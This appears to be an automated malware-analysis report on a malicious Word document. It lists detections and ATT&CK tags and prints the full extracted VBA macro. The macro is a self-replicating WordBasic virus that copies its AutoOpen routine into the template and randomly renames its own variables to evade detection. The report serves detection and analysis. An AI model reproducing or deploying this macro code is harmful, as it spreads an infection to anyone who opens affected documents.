MALICIOUS
128
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample is a malicious OLE document containing a VBA macro with an AutoOpen subroutine. This macro is designed to copy itself and modify its own code, a common technique for obfuscation and evasion. The presence of legacy WordBasic macro virus markers and the AutoOpen subroutine strongly suggest an intent to execute malicious code upon opening, likely for downloading further stages.
Heuristics 4
-
ClamAV: Doc.Trojan.Minimal-64 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Minimal-64
-
Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUSOLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Attribute VB_Name = "AutoOpen"
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1085 bytes |
SHA-256: 985e873ec6b9219725d3949675fc03fd6dfd9a7fffc9ecd956807cc1146570b4 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "AutoOpen"
Public Sub MAIN()
Dim DUHIM$
Dim DCLUL
Dim PPWMS
Dim A$
Dim B$
Dim C$
Dim D$
On Error Resume Next
D$ = ":AutoOpen"
WordBasic.ScreenUpdating 0
DUHIM$ = WordBasic.[FileName$]()
WordBasic.MacroCopy DUHIM$ + D$, D$
WordBasic.MacroCopy D$, DUHIM$ + D$
WordBasic.FileSaveAs Format:=1
DCLUL = WordBasic.Int(Rnd() * 3 + 5)
For PPWMS = 1 To DCLUL
A$ = A$ + Chr(WordBasic.Int(Rnd() * 26) + 65)
B$ = B$ + Chr(WordBasic.Int(Rnd() * 26) + 65)
C$ = C$ + Chr(WordBasic.Int(Rnd() * 26) + 65)
Next PPWMS
WordBasic.ToolsMacro Name:="AutoOpen", Edit:=1
WordBasic.EditReplace Find:="DUHIM", Replace:=A$, ReplaceAll:=1
WordBasic.EditReplace Find:="PPWMS", Replace:=B$, ReplaceAll:=1
WordBasic.EditReplace Find:="DCLUL", Replace:=C$, ReplaceAll:=1
WordBasic.DocClose 1
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.